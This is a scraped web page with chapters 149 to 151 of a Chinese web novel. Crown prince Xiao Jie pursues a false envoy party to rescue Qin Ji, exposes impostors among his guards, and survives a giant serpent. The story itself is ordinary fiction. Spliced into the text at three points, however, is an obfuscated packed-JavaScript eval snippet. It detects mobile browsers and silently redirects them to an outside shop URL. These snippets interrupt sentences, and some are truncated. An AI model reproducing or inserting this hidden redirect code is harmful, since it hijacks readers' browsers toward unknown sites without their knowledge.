;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795164|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧玠捉紧他手腕,“阿寄还活着?” 秦华阳看着他眼睛,颔首道:“是。” 萧玠也点点头,抬手要揾面,秦华阳仍握着他手腕,道:“刚翻过尸体,仔细伤眼睛。” 然后从怀中取出一块方巾递去。 一股淡淡药香。 萧玠接过来,擦了擦脸。秦华阳又劝:“这边有臣,殿下回宫等消息吧。” 萧玠摇摇头,唤郑缚:“叫人去临近的凶肆置办东西,我给咱们儿郎收尸治丧。” 月亮注目下,牺牲侍卫的尸首盖上麻布,被木车接连拉去。萧玠也帮忙推车,脸上汗水闪亮,不仔细就认成泪迹。等到满月隐退、天色泛白之际,山坡上再度响起马蹄之声。派去打探的骑兵飞驰而来,向秦华阳禀报:“侯爷,往西十五里,有马队经过的踪迹。我们检查过马蹄印,是没有钉过铁掌的原蹄。” 秦华阳神色凝重,“事不宜迟,臣立刻带人追击。请殿下回宫等候消息。” 还不待萧玠开口,南秦队伍中,已经有人开口:“且慢。” 这道声音一响起,人群已经分作两列,似乎对其很是敬重。使团队伍深处,走出一个燕颔虬须的中年男子。 秦华阳颜色一变,“褚二叔……” 那人已然打断:“还请梁太子同行。” 萧玠也和他对视,直觉父辈应该和此人有过交道。刚刚秦华阳称呼他什么?褚二叔? 褚氏是南秦大宗,在阿耶朝中,最为煊赫的曾是宣城侯褚玉照。听闻他还有一个兄弟,名唤褚镜思,但也应当只有三十余岁,面前此人应当已过不惑。 思索间,郑缚已经叫起来:“殿下千金之躯,岂可立于危墙之下!” “我们的殿下已经叫断墙砸了。”那男人道,“冤有头债有主,少公是在梁太子手上丟的,我只找你要人。” 秦华阳忙道:“二叔,兹事体大,还是让太子请示过梁皇帝再作定夺。” 男子冷笑一声:“梁皇帝知道,不得母鸡护崽似的把他圈在宫里。梁太子,我请问你,对方声称使团入驻,你为什么没有先找礼部对接而是私自接见,为什么没有验看其文书印信?能把一地少主交到这样来路不明的冒牌货手里,我看你就算当政,也是昏君。” “丰城侯,你僭越了!”秦华阳对萧玠一躬,“殿下恕罪,这是丰城侯褚玉绳,是阿寄的老师。他常年为英公守陵,不晓得礼数规矩,一时情急,臣代为告罪。” 萧玠想起萧恒讲过,英公秦晟是阿耶继位后追谥的,是秦善的长子,也是阿耶的堂弟。当年秦善处死英公,英公的股肱率部转投阿耶,领头的似乎就是一位褚氏将军。 褚玉绳按住秦华阳肩膀,称呼他的字:“曦明,你要保伯琼,还是保他?” 秦华阳一愣。 “段藏青行事狠辣,如今不会损伤伯琼,之后却未必。倘若他要害伯琼性命,万不得已处,我们需要一个可以换他回来的筹码。”褚玉绳冷声道,“梁太子是杀害段映蓝的凶手,他的性命在段藏青眼中,和能为段元豹争取的利益不相上下。” 此语一出,东宫卫立即拔出兵刃。郑缚大喝一声:“这么堂皇算计当朝东宫,全当我们是死人吗!” 他手臂被拍了拍,转头见萧玠从他身后走出来,“阿缚,你带东宫卫回去。” “殿下!”郑缚急道,“一个南蛮竖子,哪里值得你三番四次为他舍生忘死?万乘之尊不涉险!” “天子尚在,我何以称万乘?你以后说话都要仔细,我和你大哥不在,没人再能护着你。”萧玠叹口气,替他正了正衣襟,微笑道,“回去吧,告诉陛下,不要为我担心。如果陛下也想阻拦我……” “你转告他,秦寄若死,我必不独活。” 149.第 149 章 半数东宫卫回宫禀告萧恒,半数改换装扮,护卫萧玠跟随使团一路疾行。 又一轮红日降落,人马已入深山之中。郑缚虽懂些武事,到底没这么奔波劳累过,大腿叫马鞍磨得生疼,见使团中人更是不顺眼,阴阳怪气道:“放着大道和马道不走,非走这些弯弯绕绕的小路。别说陛下知道了如何,我如今都要怀疑,阁下是不是打算挟持太子,图谋不轨。” 秦华阳也不恼,边打响马鞭边问:“段藏青难道会大摇大摆走官道吗?” 他一时噎住,习惯性朝萧玠告状,抬头却愣住。 萧玠身体文弱,根本经不住连日奔波,如今却骑在队前,挥鞭如飞,岂是一个心急如焚可以形容。 郑缚一愣神,便听一道急促马鸣。竟是萧玠那匹马劳累多日,就要瘫软在地。 马一倒,萧玠也要摔下马背。郑缚心中一惊,还不带策马赶去,一条手臂已经拦过萧玠腋下,将他稳稳放到地上。 那条手臂收回,拉紧自己缰绳。褚玉绳发号施令:“原地休整。” 萧玠却不同意:“丰城侯,赶路要紧。” “你能行,马也不行。”褚玉绳道,“我们没带多少马,难道要全部跑死?” 他据马下望一眼,眼底没什么情绪,“放心,没到琼境,秦伯琼性命无虞。” 萧玠捏紧马鞭,骨节凸起一会,终于松弛下来。他对东宫卫道:“休整吧。” 夕阳完全陷落,林中雾气氤氲,紫黑树影摇曳交织下,新点燃的篝火惨白地跃动。萧玠拿着馕饼坐在一旁,放弃慢条斯理地咀嚼习惯,几乎狼吞虎咽起来。 一只手掌拍他后背一下,秦华阳已经从他身旁坐下来,道:“这么吃伤胃。就算你早吃完,大伙也得休息一段时间。” 萧玠笑一下:“放缓进食速度。” 秦华阳看他一会,道:“阿寄外粗内细,殿下你更是个细致人,我想知道,究竟发生了什么,叫你们两个都麻痹大意,没有看出对方丝毫破绽?” 这句话一出,秦华阳感到,萧玠的脸玉璧沉塘般,沉到雾气之后模糊不清了。他持馕的手指似乎微微颤抖,许久,只说:“我的错。” 秦华阳嘴唇蠕动一下,说不出什么,眼看萧玠越沉越深。他突然有点明白萧玠为什么要加快行程。 除了担忧秦寄之外,过分敏感的情绪会拉着他陷下去。 他的劝告出口前,萧玠的声音已经响起:“阿耶让阿寄来东宫,陛下允许阿寄在东宫,我同意他和我朝夕相伴,是因为我们都清楚,他不会对我动手。我们俩闹出这么多事,但自始至终,我能要挟他的本钱,只有我这条命而已。” 萧玠干笑一声:“你瞧,我比谁都晓得,他多在乎我这条命。” 秦华阳哑然。 “华阳,我以前不明白为什么。”他喃喃,“现在我明白了。” 秦华阳看他一会,叹口气,将手中肉脯递给他。 萧玠停顿一会,还是将肉脯接过。久不食荤腥,腌肉的咸腥气在嘴里有些恶心,但他还是尽数吞咽下去。 要找到秦寄,先要照顾好自己。 这时突然听到秦华阳说:“臣听过殿下背弃光明宗的缘故。如今时移世易,仍没有再度信奉的念头?” 萧玠说:“人力尽处,神不能及。求神拜佛,现在对我来说,只为心安而已。但世间哪有犯罪者安心度日的道理?” 秦华阳没再说什么,坐了一会,起身往褚玉绳那边去了。萧玠四周安静下来,其他声音格外清晰。他远远听到郑缚呵斥的声音,便皱眉走过去,“怎么回事?” 郑缚正在训责两个东宫卫,仔细一看,竟是之前最受他依仗的左右付率。郑缚一见他来,便道:“殿下,咱们手下也该整顿了。出宫不过几日,规矩都丢到姥姥家去了!叫他们负责辎重,前几天还好,这两日越来越不像样,帐篷的规格不对也罢,选地也不对。土地松动不说,桩子都快塌了。这些还是次要,物资计算居然都有差错。我刚刚去检查盔甲,足足少了二十套。” 左付率忙道:“殿下明断,咱们一行四十人,盔甲便等量具备四十套,都在这里,一套不少!” 郑缚喝道:“放屁!账上分明计有六十套!” 萧玠已经点完盔甲,的确是四十套,对郑缚说:“数量不差。东宫卫远行取备,只能携带与人数等量的盔戴。若超数额,需要报请禁卫,转请陛下裁断。” 他们出来的急,东宫卫领完甲胄便快马追来,根本没有回报萧恒的时间。 但这账…… 昼夜奔波劳碌,有所疏漏也非大过。萧玠接过账本,随意翻看几页,“你们也辛苦了,去支三鞭,也就罢了。” 左右付率相视一眼,对萧玠抱拳道:“卑职谢恩。” 见萧玠如此高抬轻放,郑缚由不忿,却听萧玠道:“你闭嘴,看看他们领的什么罚。偷偷去,不许多话。寻个无人的间隙,也寻个过得去的由头,回来报我。” 郑缚抬头,见萧玠已经变成从小到大最让他忐忑的神色——慈眉善目,却眼如寒霜。他心里一咯噔,忙颔首领命,嘴上还大声挑着辎重的刺,脚步已经冲目的地去了。 等他走后,萧玠又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦华阳没有接,但声音很温和地解释:“殿下恐怕记错了。闻妙经圣音,燃烛以示。然光明火种,非父母生身生日不可取。相对诵祷之火,便是光明火种最简单的一种。我若接了,这叫渎神。” 萧玠将树枝放回篝火,低声道:“抱歉。我无意冒犯。” 秦华阳笑了笑:“这些条规太细致,殿下又不是南秦人,记错了情有可原。光明只会降罪有心亵渎之人。殿下早些歇息吧,我们明早要尽早动身。” 萧玠应声,回到自己帐篷,漆黑一片里,郑缚正缩在里面等他。 萧玠立刻竖指抵在自己唇边,示意他不要出声。等他收好帐篷,方从郑缚身边坐下,压低声音问:“怎么样?” 郑缚也低声:“好奇怪,殿下罚他们三吊钱,他们居然各领了三鞭。” 黑暗里,萧玠长长出了口气:“那就对了。” “对了?” 纳闷之际,郑缚听到萧玠的声音,之后他强捺住自己没有跳起来。 萧玠说:“他们被换过了。” 150.第 150 章 郑缚捂住嘴巴,“换过,什么叫换过?这个人被换了?” 萧玠道:“支鞭你最清楚,是东宫卫对罚俸一事插科打诨的说法。因为钱串状似长鞭,罚一吊钱被称为一鞭。这种戏言只传于内部,而他们显然不知情。还有今天的盔甲。” 郑缚一拍膝盖,“我就说盔甲有问题!” 萧玠道:“盔甲没有问题,是账簿。” 郑缚不可思议:“他们造假?” 萧玠摇头,“他们的列账方式不同。为行军便宜,军中记账常用简易图形。大梁禁军记数,方框为三十,他们记了两个方框,你便以为是六十。但在南秦军中,方框是为二十之数。” “如果我猜的不错,东宫卫出宫匆忙,忘记带了交接簿子,这本账簿是新的。” 郑缚神情一闪,“殿下……” 萧玠并无追究之意:“这是你出的纰漏,不敢禀报我,便让两个最亲近的补了来。这两个人就算对梁军制度有所了解,也不可能细枝末节全部掌握,一本新账簿,没有从前的旧账可以参考,他们便以为南北记账方式相通——因为民间商业买卖的记账是一致的——按自己的习惯写了来。” 郑缚轻轻嘶声。但这推断太过惊怖,他本能地不愿相信,仍抱存一丝希望:万一是他们看错了……万一是他们跑了这么些天,脑子跑轴了怎么办? 萧玠道:“还有。” 郑缚惊道:“还有?” 萧玠看着他,“右付率张口说话了。” 他说出这句话,郑缚感觉自己身上寒毛一根一根竖起来。 今年春蒐,右付率出言不逊,被秦寄割断了舌头。 “太医给他医治之后向我禀报,仍能发音,但绝不可能恢复如初。”萧玠说,“他今天的声音太正常了。” 郑缚深深呼吸,忍不住打颤,“换……为什么换他们,谁换他们?” 萧玠没有回答,问:“我们的人有没有少?” 郑缚信誓旦旦,“绝对没有,我日日清点,四十人,一个不多一个不少。” 萧玠点头,“我数了使团的人,少了整整十个。” “也就是说,我们内部有十个人被他们换掉。”萧玠说,“我们中圈套了。” 郑缚浑身肌肉跳动一下,透过帐篷缝隙,他看到远处尚未熄灭的篝火和火边人影。这些人突然变了模样,成为青面獠牙的鬼祟,在盘算着怎么像宰割牛羊一样杀剥他们。 他感觉自己牙齿在上下磕碰,娘的,这伙也是假的?也是姓段的? 萧玠念及众人对火诵经的场景,缓缓摇头,他们是货真价实的南秦人,但绝不是奉秦公之令赴京的使团。 “殿下是说……” “假托令旨。”萧玠目光锐利,“南秦或生内乱。” *** 秦华阳是谁的儿子,代表谁的势力,不言而喻。 郑缚张大嘴巴,“我早听说这位大政君的手腕非同小可,据说秦公南归后身体抱恙,军政大权一度统于其一人之手,就快把秦公架空了!都说她一人之下万人之上,只差一步即可登天,她怎么忍得住!” 他越说,萧玠脸色越阴沉。郑缚犹自不解,“可她拿殿下做什么?” 萧玠深吸口气,“要挟。” 郑缚不知内情,并不明白一个大梁太子何以要挟南地的君主。但这两个字被吐出时,萧玠的手已经开始痉挛。 “有两批人公然冒充南秦使团,秦公那里却始终无人出面……”萧玠喃喃,终于像一个陷在险境里的人一样,声音有些颤抖痕迹,“两支威胁秦公的势力,他的妻弟和他的妹妹……肘腋之变,祸在旦夕之间。” 郑缚急道:“这和咱有什么关系?” 萧玠试图站到一个客观位置去分析局势:“自从段映蓝为我所杀,或者说自从陛下发兵灭琼之日起,大梁、西琼和南秦已经卷进同一个乱局里了。两个假使团能把我们玩于股掌之中,需要一个配合得严丝合缝的计划,这两方之间一定有千丝万缕的关系。如果我的推测成真,段藏青和秦温吉绝不是各自行动、碰巧而已,而是有预谋地彼此勾结,这场追踪不过一次贼喊捉贼。现在阿寄在西琼手中,我又在秦华阳手里,秦公的处境不仅危险,更是万分被动。如果秦公出事……” 萧玠深吸口气,逼迫自己面对这个可能性,“如果秦公出事,陛下绝难万全。倘若对方为陛下设局……不管拿我还是拿秦公为陛下设局的话……” 他本就低微的声音游丝般消弭于夜里。 郑缚越听越迷糊,“秦公不是和今上割袍断义老死不往吗,怎么听上去还剪不断理还乱了?” 但此时此刻,他没有心情腹诽帝王家事,萧玠的语气告诉他,这是千钧一发的危局。 他试图像记忆中的大哥一样,抚摸萧玠的后背来安抚他。却被萧玠握住手,在掌心中捏了两下。 这反而是大哥还在时安慰他的手势。 郑缚愣神间,萧玠已经开口:“必须有人回京,必须有人把消息报给陛下。得赶紧发兵南下,再晚就来不及了。” 郑缚急道:“那更得走了,臣纵使万死,也一定护得殿下杀出重围!” “的确有人要出去,”萧玠说,“但我要留下。” “殿下!” 萧玠道:“你不觉得奇怪?他们如果只要拿我,将我骗出来之后把东宫卫灭口就是,为什么要大费周章,换掉我身边的人?” 郑缚想了想,试探道:“他们……想在殿下身边埋伏下来?” 萧玠点点头,“或许,我能在他们引导下带他们去某个地方、见某个人,或者他们可以借东宫卫的身份,做某些事。” 说到这里,萧玠又有些疑惑。秦温吉如果想对阿耶动手,用兄妹身份岂不更加便宜,为何要转这么大的弯,盗用东宫近卫的身份? 萧玠脑中一团乱麻,又不得不按住要炸毛的郑缚,我走不掉的,他们要拿我,一定会对我这个人严加防备。何况秦寄还在他们手里。 他停顿一下,像一个窒息。少顷,他的声音轻轻响起:“不入虎穴焉得虎子。我必须知道他们的计划是什么,必须知道他们要借我和秦寄图谋什么。现在只有一个问题。” “他们已经开始下手了,东宫卫跟着我,一定会死。” 郑缚腕部的脉搏突地跳动一下,接着,他被萧玠握入掌中。 “我要找到秦寄,也要把你们全头全尾送回家去。”他转过头,把自己映入郑缚眼底,说出一句与他前言相悖的话。 他说阿缚,你大哥敢为我死。 “你敢吗?” *** 清晨,篝火即将燃尽,柴堆毕剥声更加清晰。 突然,寂静被一阵厉声争吵打破。 秦华阳倚树而眠,陡然翻身而起,见萧玠帐篷中跳出个人,竟是郑缚。 紧接着,萧玠踉踉跄跄追出来,满面泪痕,气息无法平复,竟有喘症复发之象。 东宫卫先行一步搀扶住他,忙打圆场,“郎官,赶紧向殿下请罪!” 萧玠挥开众人:“我不用他请罪。我问你们,段映蓝死日,是谁在东宫看管秦寄?” 侍卫们面面相觑,回禀道:“是执戟郎岳乾岳坤兄弟,此次不曾随行。” “好,没有对证了。”萧玠气极反笑,“我说宫中严加防范,秦寄是怎么知道的段氏死讯……果然是你联合他们作的勾当!” “是,是我!”郑缚脸庞涨红,发脾气般冲萧玠叫道,“我就是看不惯!他一个南蛮竖子,还真就从此扶摇直上了?段氏死有余辜,他是段映蓝的儿子,对殿下你和陛下又包藏祸心,殿下你若早处置他,哪来今日诸多灾祸!就算把他救出来,臣也要为殿下铲除此患!” 萧玠气得浑身发抖,一巴掌打在他脸上,哆哆嗦嗦地以手指他,“你好得很!” 郑缚在众人面前受他一掌,一时恼羞成怒,众人压他给萧玠下跪赔礼,他反倒把东宫卫一推,扯过一匹马跳鞍跑了。 东宫卫忙要追,萧玠喝道,“不要管他!身为朝廷命官,忤逆背旨没有任何担当!他爱哪去哪去,我们启程!” 秦华阳已快步上前将他搀扶过来,一手替他摸脉,一面叫使团中人:“还不跟去看看!” 马蹄声立即往林中追去,萧玠却没有任何反应。秦华阳劝他,何必和小孩子置气,到底看在上柱国的面上。 一提郑绥,萧玠更是落泪,话都难说一句。秦华阳忙问他,萧玠只摇头,道:“他大哥若在……” 他额头靠在马鞍上,只是垂泪。众人不敢多劝一句。再过一会,追赶郑缚的南秦侍卫策马回来,冲秦华阳耳语几句。 秦华阳便对萧玠笑叹:“这小郑郎气性上来马蹄倒快,连我手下这常跑远路的都没追上。” 萧玠道:“我当初就不该带他到身边来。” 他捏住马鞭,就要上马,突然有什么从袖中坠落,啪嗒掉落土中。声音虽不算大,但因萧玠的缘故,大伙都瞧见了。 一串光明铜钱。 秦华阳拾起来递给萧玠,倒没见殿下再戴过。 萧玠接在手里,将左腕伸给他,轻轻道:“你帮我戴上吧,我想再见见他。” 光明铜钱佩戴在身,亦有感召之意。萧玠当时弃教多少有柳州政治的缘故,心里未必完全割舍得下。如今为聚人鬼,看来愿意回头是岸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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雨越下越大,低洼处几乎没过小腿。如果再找不到城镇,众人说不定会死在这场雨里。萧玠也是这时候确定,秦华阳和段藏青之间并不是紧密的同盟关系——秦华阳不知道段藏青的据地,同时,段藏青也不知道秦华阳要追踪西琼本营的事。 萧玠原本以为,自己和秦寄是被秦华阳段藏青合谋诱骗的。但若如此,现在自己远离大梁潜入深山,叫天难应叫地难灵,段氏军队早该亮相,他们的计划应该进入下一阶段了。 然而,现在看来,秦华阳对自己的诱骗可能是一次单独行动。他和段藏青可能有一段合作关系——这就能解释,为什么秦华阳会和段氏默契地采取“假扮使团”方式,并通过揭穿前者来证实自己的身份,并引萧玠上钩——但很可能因为一些利益纠纷而中断。现在秦华阳的行动,或许能视为一种反戈。 他要找到段藏青的老巢,并把自己带到那里去。 萧玠的思绪被越下越大的暴雨声打断。雨水已经把蓑笠檐浇透,几乎难以睁眼。前行路上不少人摔下马背,包袱不知道滚了多少次,便听到秦华阳命令:“先到树下避雨,再清点人数马匹,看看行李有没有丢失!” 这片山林很古老,不少树木有三层楼高,树荫如同密云,只怕有上千岁的年纪。树下多的是聚集的毒虫,众人并不敢靠得太近,只得凭借一点树荫遮盖略作整顿,清点行李。 萧玠刚躲到树下,便听有人喊:“马不够,少了两匹!” 秦华阳点了一遍,的确少了两匹马。快马赶路总要备马换用,进了琼境更是卸掉马具,暴雨之中又自顾不暇,马匹跑失也情有可原。天色已经完全黑沉下来,只有凭靠偶尔的电光,才能看到彼此近在咫尺的脸。 一个侍卫抱怨:“别把老天捅了个窟窿,把天河都倒下来了!这么大的雨,这树也不顶事啊,掉咱们这一脸水。” 的确有什么从上方滴落,落到萧玠脸上。 萧玠抹了一把,感觉这液体有些不同。黏腻,有味道,很腥。 一直沉默的褚玉绳突然站起来。 他抓住萧玠擦脸的手,似乎在黑夜中观察。突然,他低声道:“都起来,慢慢起来,不要发出响动。” 褚玉绳虽常年守陵,但在军中极具威望。因为雨声太大,树林中的其他声响显得格外细微。 萧玠仔细聆听,才隐约在树叶摇动声后,听到有什么摩擦树干的移动声。 很庞大,很连贯,不是脚步。 是一种碾动的声音。 又一下电光闪烁。 萧玠看清树上景象时险些咬掉自己的舌头。 树冠之间,盘旋而下一条几乎与树齐粗的白鳞大蟒。它正张开大口,滴落的涎液闪烁绿光。 151.第 151 章 萧玠没有见过蛇,更别说这样超出常人认知的大蟒,一瞬间手脚冰冷,动弹不得。 那两匹马只怕入了它的口了。秦华阳深深呼吸:“怪物——天底下怎么会有这么大的蛇?” “这林子怎么也有千来年,这蛇只怕要成精了。”褚玉绳低声道,“跑是跑不了了。我去引它。丹灵侯,找他的七寸!” 他话音未落,已将腰间匕首甩向蟒蛇。萧玠只听乒咚一声,似乎是锋芒破开鳞片的声音,紧接着,那蟒蛇发出如同风响的嘶啦吐息声。 众人四散而开时,它已像从天而降的一条铁柱,直直向褚玉绳的方向捣来! 一瞬间雨中如同波浪翻腾。秦华阳当即提刀跃出,似乎点着了什么东西,隔着大雨,萧玠仍能闻到浓烈的草药气味。 所有人拔刀在手,正等候一场与死神的搏斗。水声突然小了,几乎止息了。 雨中响起秦华阳不可思议的声音:“这就死了?” 这算什么? 众人忙围赶上前,见那条大蟒横在雨中,直挺挺如一根白光闪烁的梁柱。它的七寸处,裂开一个足有海碗大小的血洞。 侍卫们倒吸冷气:“丰城侯神威天降!竟能将这畜牲一击毙命!” 褚玉绳摇头,手从它血肉模糊的伤口处挪开,“它在之前被人重创过。对方手很准,伤口开在七寸位置。只是血肉腐烂,又有虫蚁啃噬,很难分辨出对方的兵器和手法。身上其他地方的创口也不少,但效果身为,能造成伤害的还有它三寸的这一剑,也就是蛇脊骨的地方,鳞片也有……” 说到这里,他似乎感觉有什么不对,急声叫道:“给个火!” 侍卫们忙将油布撑起来,让秦华阳能擦亮火折迫近。褚玉绳检查那伤口,不深不浅,留下了一些武器痕迹。 他沉默一刻,突然说:“我听闻大公的两把虎头宝剑,有一把在梁太子手里。” 萧玠忙把剑拔出来,递到褚玉绳手中。 这一刻,他对接下来的消息已经有所猜测。所以褚玉绳开口时,他没有特别惊讶,但还是忍不住浑身发抖: “很可能是个好消息,也很可能是个坏消息。褚玉绳说,这个伤口是少公开的。” 萧玠一下子跪倒地上,近前去看那伤口,但什么也看不出来。他默了一会说:“阿寄吉人天相,能够伤它,断然没事。” 秦华阳没继续这个话题,只道:“但很奇怪,这里是段藏青的老巢,每条路他都很熟悉,一定不会选择这样一条巨蛇拦道的死路。阿寄是和他同行的——为什么会出现在这里?” 是这个方向。 萧玠已经站起来,雨是停不了了,还是加紧赶路。 电闪雷鸣,又经历一场生死险境,赶路就更加难。秦华阳便一手拉马,一手拽紧萧玠——这样一个很可能坑害自己的人,在险境里伸出的居然是援手。 不知跋涉多久,隔着皇皇雨声,前方有人喊了一句:“前面有个石头顶!” 一行人忙赶过去。因雨势过大,直到近前才看清这是怎样一块石头——或者说,巨石建筑。 这块石头异常阔大,足有一间单屋大小。更奇的是,这块石头之下,又有三块足有丈余的巨大石板作为支撑,让它成为屋顶一样的石盖。 这绝对是人工之物,但为什么有人将它立在这里? 秦华阳突然叫止众人,再次擦亮火折,用手护住,迫近石板和地面检查。 过一会,他说:“是石棚。” “据传南秦先祖祭祀之所,有一种就是石棚。以此为祥瑞,成为‘冠石’。”秦华阳说,“西琼也有自己的主神敬奉,应该也是用作祭祀之用。” 萧玠凑近,发现石棚之下有一个两尺深的土坑,被一块白石板盖住。掀开一看,里面有堆灰烬,还有一串首饰的残余,看上去像一条女人的璎珞。其旁,还摆放一个小型的白石女神像。 但和许多女神像不同的是,这位神祇没有曼妙身姿,有的是垂坠的胸卝乳、肌肉发达的大腿和向外突出的腹部。 秦华阳放下石像,去端详石板。萧玠从上面看到一些线条粗犷的涂画。 高大的、长有马脸的女神身处中央,有一条白鳞大蟒作为坐骑。她两侧是太阳月亮,分别由一黑一白两匹骏马驮在背上。日月两边,是两个佩戴马面具的年轻人。从服饰和装扮看,应该是一男一女。 秦华阳说:“这应该是西琼的高禖神,和我们的暗神接近,主孕育,也主婚姻。这个石棚应该就是她的一个祭坛。” 侍卫反倒纳闷,“要是这石头盖子是他们什么劳什子祭坛,怎么都没个人把守?” “你们看这岩画。女神的面具是马,对应马是西琼的神灵徽记。而女神的坐骑,是蛇。”秦华阳说,“刚刚那条蛇,很可能就是她的使者,或侍卫。” 萧玠道:“你的意思是说,那条蛇其实是在守护她的祭所。” 秦华阳点点头。 侍卫一脸错愕,“这也太玄了。而且那蛇跑那么老远,也守不着这石头棚啊?” 秦华阳道:“医经记载,西琼有一种月胆草,有诱蛇之效。很可能他们用这种草作为原料,制作了驱遣大蛇的香料。但雨下的太大,把香味冲散了。蛇便游走下去,四方觅食。” 侍卫啧声,不再多说。 秦华阳继续道:“这里举行过祭祀,看灰烬和火烧的痕迹,就是这几天的事。而这条璎珞应该就是给女神的祭品。工艺很精湛,应该是贵族所制。” 段映蓝曾在宗族内斗下倒台。她二次登位后做的第一件事,就是把段藏青以外的旧贵族全部扫清。也就是说,西琼如今除了段氏姐弟一脉,再无大贵族。 一个猜测在萧玠脑海中产生。 他不太确定,看向秦华阳。秦华阳显然很熟知宗教之事,对他点头。 “这是婚礼之前的禀告仪式。”他说,“近期有西琼贵族要成婚。看石棚和祭品的规格,除这位深藏不露的段元豹外,很难有其他人。” 但这并不是一件符合常理之事。 段藏青死里逃生,要做的第一件事不是厉兵秣马报仇雪恨,而是操办儿子的婚礼。 这种推测太过荒谬,但从现场迹象来看,这是最大的可能。 侍卫们忍不住质疑:“他脑子让驴踢了?” 秦华阳说:“那就是婚礼这件事,或者说这位新娘,能够为段藏青的复仇计划助一臂之力。” 他转头要询问萧玠意思,却见萧玠置若罔闻,踮脚去够顶部的盖石,花了很大力气,才拔下一个东西—— 一枚钱币。 在他掌心阴面朝上,刻着四个篆字: 光明通宝。 铜钱在石头上留下的刻痕非常之深,若非极强的腕力,很难做到。 萧玠五官都不受控制哆嗦起来,急促呼吸着:“他还活着,那条蛇没能吃了他……他还活着!” 如果说蛇身的伤口是推断秦寄行踪的痕迹,那这枚光明铜钱,就是他故意留下的记号。 他知道有人会跟来,一些知道他身份的人,会冒此大险来找他。 而正是这个符号,让萧玠搞不清秦寄的立场。 秦寄跟随这个“假使团”离开的路上,一定发现了他们的真实身份——很可能是段藏青主动揭露的。他们齐心协力地把段映蓝的棺椁护送回乡,甚至在对萧恒复仇这件事上,他们堪称同仇敌忾。但秦寄这么聪明,一定明白,段藏青对自己不无杀意。 他留下的铜钱,到底是对追寻者的善意,还是在亲情缝隙里不得不为的保命之举? 这一路他经历了什么?段藏青有没有让他吃饱穿暖?他一定不至于虐待他……但为什么那条蛇身上几乎只有秦寄一个人的剑痕? 这一路上,他还恨自己吗……想过自己吗? 萧玠将那枚铜钱死死握在掌心。秦华阳站在一旁,手掌抬起,似乎想要安抚,终究没有落在萧玠肩上。 他轻声道:“至少现在,阿寄平安,有他的标记,我们要找到段藏青的驻地便如虎添翼。” 萧玠点点头,解下自己手上的铜钱,将那枚钱币编在红线上,一串四个重新挂在腕部。 他说:“启程。” *** 有了秦寄的标示,前进也就更为便利。第三枚铜钱将一行人引到最近的岗哨处,如何通过检查,本该是最为棘手之事。这时候秦华阳的通敌身份也就发挥了优势。他用西琼土语跟对方沟通几句,又出示了一枚不知真假的青铜腰牌,队伍竟被这么放进城中。 他就这 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“这应该是节庆的装扮。”秦华阳看向竹楼檐下悬挂的金雀花,说,“此物是专为祭祀神女所用。段藏青要为儿子举办一场普天同庆的婚礼。” 秦华阳递出的那块牌子应该被看成一种道贺的标志。萧玠知道,段映蓝之所以称为“宗主”,是因为她统率着各地二十余大小宗族。这些西琼族落虽非贵族,但在各地也有很强的威望,如果跟大梁类比,很像地方的豪强。但跟大梁有本质区别的是,西琼有统一的信奉宗教,所以段映蓝通过对宗教的把控确立了自己独尊的位置,用神灵的力量把权力牢牢集中在自己手心。这是大梁做不到的。 而秦华阳认领的身份,应该就是一个部族首领。 他到底和西琼交涉有多深,这个计划又筹谋了多久,萧玠不得而知。他看着秦华阳温和浅笑的脸,只觉毛骨悚然。 这样深不可测的野兽,就潜伏在秦灼枕边。 不知阿爹收没收到消息,不知南秦如今是什么处境。萧玠想,要快,要再快。他得赶紧找到秦寄。如果秦灼是南秦的心脏,那秦寄就是为这颗心供血的最后一根经脉。 *** 众人在一处“苏敦”下榻。 所谓苏敦,就是类似于中原的驿馆,不少部族首领都齐聚于此。萧玠怀疑,段藏青是以段元豹婚姻为契机,再次召集各部首领,共谋反梁之事。 对于这样堂皇出现,萧玠仍存疑虑。秦华阳反而倒茶安慰他,西琼山路险峻,许多部族之间并不联通,彼此知之甚少。只要能把谎话编圆,万事无虞。 萧玠推说疲乏,自己先行上楼休息。傍晚时分,秦华阳叩响房门。 秦华阳开门见山:“有一个寻找阿寄的好时机。” 萧玠了然:“婚礼。” “是,我们了解过。段元豹婚礼之盛大,不仅在于规格,更在于神灵之礼的参与。”秦华阳道,“殿下应该知道,段映蓝姐弟为这个儿子安设神祠,段元豹也就成为所谓的西琼圣主。他的婚礼,一定要上告神灵。而各地娱神,多用歌舞。殿下还记得那幅岩画吗?” 萧玠点点头,“马面的女神,身边的新郎新娘,都头戴面具。” “是,婚礼正式开始前,新人会先登祭坛,带领宾客舞蹈祭祀。这时候他们需要戴上面具,成为一种神显和化身。” 秦华阳从袖中拿出一只马头面具,放在桌上。 萧玠品味出什么:“你是指,这是一个可乘之机。” “我们的人可以混进婚礼,趁乱寻找阿寄。可如此难度,不异于大海捞针。但如果我们能把段元豹拿在手里……” 萧玠想了想,“但这支舞蹈我们都不会跳。” 秦华阳笑道:“这也容易。婚礼之前,还有一次民众对高禖神的小祭祀,可以当成对婚礼祭祀的演练。到时候会有人再跳这支舞。祭神是有民众性质的,这些歌舞很像中原的‘舞雩’。人人都能跳,人人都能排演。我们可以跟他们学。” “还有一个问题。”萧玠说,“怎么去拿段元豹。” 秦华阳笑着看向他。 他也注目秦华阳,将那只马面具拿在手中,缓缓笑了:“华阳你如今来找我,心中已经有了计划,不是吗?” 152.第 152 章 